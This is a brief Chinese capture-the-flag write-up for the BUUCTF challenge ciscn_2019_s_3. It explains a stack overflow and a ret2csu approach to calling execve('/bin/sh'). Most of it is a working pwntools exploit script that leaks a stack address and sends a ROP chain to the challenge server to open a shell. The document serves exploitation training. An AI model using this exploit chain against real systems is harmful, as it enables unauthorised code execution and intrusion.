buuctf|ciscn_2019_s_3 1
如下图
明显的栈溢出
这里调用了系统号为0x3B(十进制为59)的函数,查下表
是exeve(‘/bin/sh’,0,0),为了控制寄存器使其第一个参数为/bin/sh,其余为0,需要用到csu控制寄存器
exp如下
from pwn import*
#p=process('./pwn_30')
p=remote('node4.buuoj.cn',27704)
pop_bx_bp_12_13_14_15=0x40059A
csu_2=0x400580
syscall=0x400517
eve=0x4004e2
poprdi=0x00000000004005a3
main=0x4004ed
payload1=b'/bin/sh\00'*2+p64(main)
p.sendline(payload1)
p.recv(0x20)
sh=u64(p.recv(8))-280
#sh+0x50
payload2=b'/bin/sh\00'*2+p64(pop_bx_bp_12_13_14_15)+p64(0)*2+p64(sh+0x50)+p64(0)*3+p64(csu_2)+p64(eve)+p64(poprdi)+p64(sh)+p64(syscall)
p.send(payload2)
p.interactive()